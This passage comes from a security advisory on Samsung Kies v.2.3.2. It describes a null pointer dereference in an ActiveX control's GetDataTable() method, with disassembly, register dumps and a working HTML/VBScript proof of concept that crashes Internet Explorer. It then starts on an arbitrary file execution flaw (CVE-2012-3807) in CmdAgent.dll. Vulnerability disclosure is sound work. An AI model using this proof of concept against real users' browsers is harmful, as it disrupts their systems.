A remote attacker can pass "tagDATATABLE_SUID" argument equal to 0 to the GetDataTable() method and rise an ACCESS_VIOLATION exception on a MOV EDX,[EAX] instruction, as EAX is previously zeroed by an unexpected NULL value in the memory region pointed by ECX: Disassembly: -------------------------------------------------- 2A22B95 MOV ECX,[EBP+10] 2A22B98 MOV EAX,[ECX] 2A22B9A MOV EDX,[EAX] // Crash through Null Pointer Dereference 2A22B9C PUSH 0 2A22B9E PUSH 0 2A22BA0 PUSH 2A71E68 2A22BA5 PUSH EAX 2A22BA6 MOV EAX,[EDX+50] 2A22BA9 CALL EAX Registers: -------------------------------------------------- EIP 02A22B9A EAX 00000000 EBX 02A66774 -> 029E58F0 ECX 0022EBC0 -> 00000000 EDX 006DFCE2 -> 00030000 EDI 00000000 ESI 00000000 EBP 0022EB5C -> 0022EB7C ESP 0022EB38 -> F2D508FE The following Proof of Concept code causes a browser to crash: <html> <!-- (c)oded by Frederic Bourla, High-Tech Bridge --> <head> <title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title> </head> <script language='vbscript'> Sub daPoC() arg1=0 daTarget.GetDataTable arg1 End Sub </script> <body> <h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3> <h4>Null Pointer Dereference PoC</h4> <hr> This simple PoC will crash Internet Explorer.<BR><BR> <input language=VBScript onclick=daPoC() type=button value="Proof of Concept"> </body> <object classid='clsid:7650BC47-036D-4D5B-95B4-9D622C8D00A4' id='daTarget'></object> </html> 2) Arbitrary File Execution in Samsung Kies: CVE-2012-3807 The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\", has numerous arbitrary file execution vulnerabilities present in "CmdAgentLib" (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the 'ICommandAgent' interface of the "CommandAgent" class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}).
